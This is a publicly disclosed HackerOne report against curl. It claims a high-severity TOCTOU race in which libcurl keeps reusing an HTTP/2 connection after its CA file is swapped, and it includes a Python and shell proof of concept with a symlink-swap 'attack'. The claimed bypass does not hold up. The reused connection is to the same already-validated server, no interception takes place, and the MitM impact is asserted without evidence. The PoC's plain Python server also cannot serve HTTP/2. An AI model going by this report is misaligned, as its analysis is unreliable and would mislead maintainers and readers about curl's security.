HexBrain

curl · Report #3335085

TOCTOU Race Condition in HTTP/2 Connection Reuse Leads to Certificate Validation Bypass

N/Astatus
highseverity
23upvotes
11 Sept 2025disclosed

How it was found

I've discovered a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in how libcurl handles persistent HTTP/2 connections. During the initial handshake, libcurl correctly validates the server's certificate against the user-provided CA bundle. However, it then assumes this trust is permanent for the entire life of the connection.

If an attacker can modify the CA file on disk after this initial check, libcurl will continue to reuse the now-trusted connection for new HTTP/2 streams without ever re-validating its trust anchor. This allows an attacker to completely bypass certificate validation for all subsequent requests, enabling a full Man-in-the-Middle attack.

Affected version:

This vulnerability was confirmed on the latest stable release, curl 8.16.0, which I compiled from source to ensure the test was relevant. Given the nature of the bug, it likely affects all versions that support HTTP/2 connection reuse.

My test build's version output: curl 8.16.0 (x86_64-pc-linux-gnu) libcurl/8.16.0 OpenSSL/3.0.2 ... nghttp2/1.43.0

Steps To Reproduce:

The following Proof of Concept demonstrates the vulnerability in a reliable way. It uses a Python script to orchestrate the test environment (compiling curl, setting up a server, and generating certificates) and then executes a small shell script to perform the actual attack.

Step 1: Save and run the Proof of Concept code Save the code below as poc.py and run it with python3 poc.py. The script requires standard build tools (build-essential, etc.) and the openssl command-line tool.

# Proof of Concept for Curl HTTP/2 TOCTOU Vulnerability
import threading, ssl, http.server, time, os, glob, sys, subprocess

def compile_curl():
    # Stage 1: Compile Curl 8.16.0 from source to ensure we test the latest version.
    print("--- STAGE 1: COMPILING CURL 8.16.0 ---")
    if os.path.exists("curl-8.16.0/src/curl"):
        print("Curl 8.16.0 already compiled.")
        return os.path.abspath("curl-8.16.0/src/curl")

    # Dependencies for Debian/Ubuntu can be installed with:
    # apt-get install -y build-essential libssl-dev libnghttp2-dev libpsl-dev
    
    subprocess.run("wget -q https://curl.se/download/curl-8.16.0.tar.gz && tar -xzf curl-8.16.0.tar.gz", shell=True, check=True)
    
    original_dir = os.getcwd()
    os.chdir("curl-8.16.0")
    print("\n--- Running ./configure ---")
    subprocess.run("./configure --with-openssl --with-nghttp2 > /dev/null", shell=True, check=True)
    print("--- Running make ---")
    subprocess.run("make > /dev/null", shell=True, check=True)
    
    curl_binary_path = os.path.abspath("src/curl")
    print("\n--- Verifying New Curl Version ---")
    subprocess.run(f"{curl_binary_path} --version", shell=True)
    os.chdir(original_dir)
    print("--- COMPILATION COMPLETE ---")
    return curl_binary_path

# Stage 2: Setup Server and Certificates
HOST = "localhost"
PORT = 8443
CA_FILE_PATH = "ca.crt"
SERVER_CERT_FILE = "server.crt"; SERVER_KEY_FILE = "server.key"
LEGIT_CA_CERT_FILE = "legit_ca.crt"; LEGIT_CA_KEY_FILE = "legit_ca.key"
FAKE_CA_CERT_FILE = "fake_ca.crt"; FAKE_CA_KEY_FILE = "fake_ca.key"

def cleanup_files():
    files_to_delete = glob.glob("*.crt") + glob.glob("*.key") + glob.glob("*.pem") + glob.glob("*.srl") + glob.glob("*.csr")
    for f in files_to_delete:
        try: os.remove(f)
        except: pass

def generate_all_certs():
    print("Generating certificates using OpenSSL CLI...")
    # Legit CA
    subprocess.run(f"openssl genrsa -out {LEGIT_CA_KEY_FILE} 2048", shell=True, check=True, capture_output=True)
    subprocess.run(f'openssl req -x509 -new -nodes -key {LEGIT_CA_KEY_FILE} -sha256 -days 365 -out {LEGIT_CA_CERT_FILE} -subj "/CN=Legit CA"', shell=True, check=True, capture_output=True)
    # Fake CA
    subprocess.run(f"openssl genrsa -out {FAKE_CA_KEY_FILE} 2048", shell=True, check=True, capture_output=True)
    subprocess.run(f'openssl req -x509 -new -nodes -key {FAKE_CA_KEY_FILE} -sha256 -days 365 -out {FAKE_CA_CERT_FILE} -subj "/CN=Fake CA"', shell=True, check=True, capture_output=True)
    # Server Cert (signed by Legit CA)
    subprocess.run(f"openssl genrsa -out {SERVER_KEY_FILE} 2048", shell=True, check=True, capture_output=True)
    subprocess.run(f'openssl req -new -key {SERVER_KEY_FILE} -out server.csr -subj "/CN={HOST}"', shell=True, check=True, capture_output=True)
    subprocess.run(f"openssl x509 -req -in server.csr -CA {LEGIT_CA_CERT_FILE} -CAkey {LEGIT_CA_KEY_FILE} -CAcreateserial -out {SERVER_CERT_FILE} -days 365 -sha256", shell=True, check=True, capture_output=True)
    print("Certificates created successfully.")

def run_server():
    class SimpleServer(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            print(f"[SERVER LOG] Request received for: {self.path}")
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"OK")
        def log_message(self, format, *args):
            return # Suppress default logging

    print(f"[SERVER] Listening at https://{HOST}:{PORT}")
    httpd = http.server.HTTPServer((HOST, PORT), SimpleServer)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.set_alpn_protocols(['h2', 'http/1.1']) # Enable ALPN for HTTP/2 negotiation
    ctx.load_cert_chain(certfile=SERVER_CERT_FILE, keyfile=SERVER_KEY_FILE)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()

# --- Main Execution ---
try:
    CURL_BINARY_PATH = compile_curl()
    cleanup_files()
    generate_all_certs()

    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()
    time.sleep(2)

    os.symlink(LEGIT_CA_CERT_FILE, CA_FILE_PATH)

    attack_script = f"""
    #!/bin/bash
    set -e
    echo -e "\\n--- STARTING ATTACK (Testing Curl 8.16.0) ---"

    # Attacker process: swap the symlink after a short delay
    (
      sleep 0.5
      echo "[ATTACKER] Swapping symlink to Fake CA!"
      rm -f {CA_FILE_PATH}
      ln -s {FAKE_CA_CERT_FILE} {CA_FILE_PATH}
    ) &

    # Victim process: curl with two requests, forcing HTTP/2
    {CURL_BINARY_PATH} --http2 -v \\
      --cacert {CA_FILE_PATH} https://{HOST}:{PORT}/secure/data1 \\
      --cacert {CA_FILE_PATH} https://{HOST}:{PORT}/secure/data2
    """

    with open("attack.sh","w") as f:
        f.write(attack_script)
    os.chmod("attack.sh", 0o755)

    print("\n--- Running Attack against Curl 8.16.0 ---")
    subprocess.run("./attack.sh", shell=True)

    print("\n--- Final Analysis ---")
    print("Review the output above. If the curl command succeeded and the server log shows two requests, the bug is confirmed in 8.16.0.")

except Exception as e:
    print(f"An error occurred: {e}")
    print("Please ensure build tools (build-essential, etc.) and OpenSSL CLI are installed.")

Step 2: Observe the output The script orchestrates a race condition: a. It creates a symlink ca.crt pointing to a legitimate CA file. b. It launches a background process that, after a brief pause, atomically replaces this symlink to point to a fake CA file. c. It immediately runs a single curl command that makes two requests over HTTP/2, forcing connection reuse.

Expected (Secure) Behavior: The first request should succeed. The second request, however, should fail with an SSL certificate verification error (exit code 60). A secure implementation would either re-evaluate the trust anchor for the new stream or create a new connection which would then fail validation against the swapped-in fake CA.

Actual (Vulnerable) Behavior: Both requests succeed. The curl command exits cleanly. The verbose output explicitly shows Re-using existing connection!, and the server log confirms both requests were received. This is definitive proof that curl does not re-validate the trust anchor for the second stream, instead blindly sending it over the previously established trusted connection.

Impact

This vulnerability allows a local attacker to completely bypass TLS certificate validation for all but the first request on a long-lived HTTP/2 connection. This breaks the trust model of TLS and enables Man-in-the-Middle (MitM) attacks, compromising the confidentiality and integrity of sensitive data.

I've rated this as High severity. While the attack vector is local, the impact is a catastrophic failure of TLS guarantees (full MitM). The "local" prerequisite is met in many common, real-world scenarios beyond a simple desktop user, such as:

  • Multi-tenant servers and shared hosting environments.
  • Compromised container environments with shared volumes.
  • Applications that insecurely use world-writable directories like /tmp for trust stores.
  • As a powerful escalation step in a vulnerability chain, where a lower-impact bug (like a limited file write) can be escalated to a full network MitM.

The impact is most severe for long-running applications, daemons, or API clients that rely on persistent HTTP/2 connections, as the window of opportunity for the attacker is indefinite after the first connection is made.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original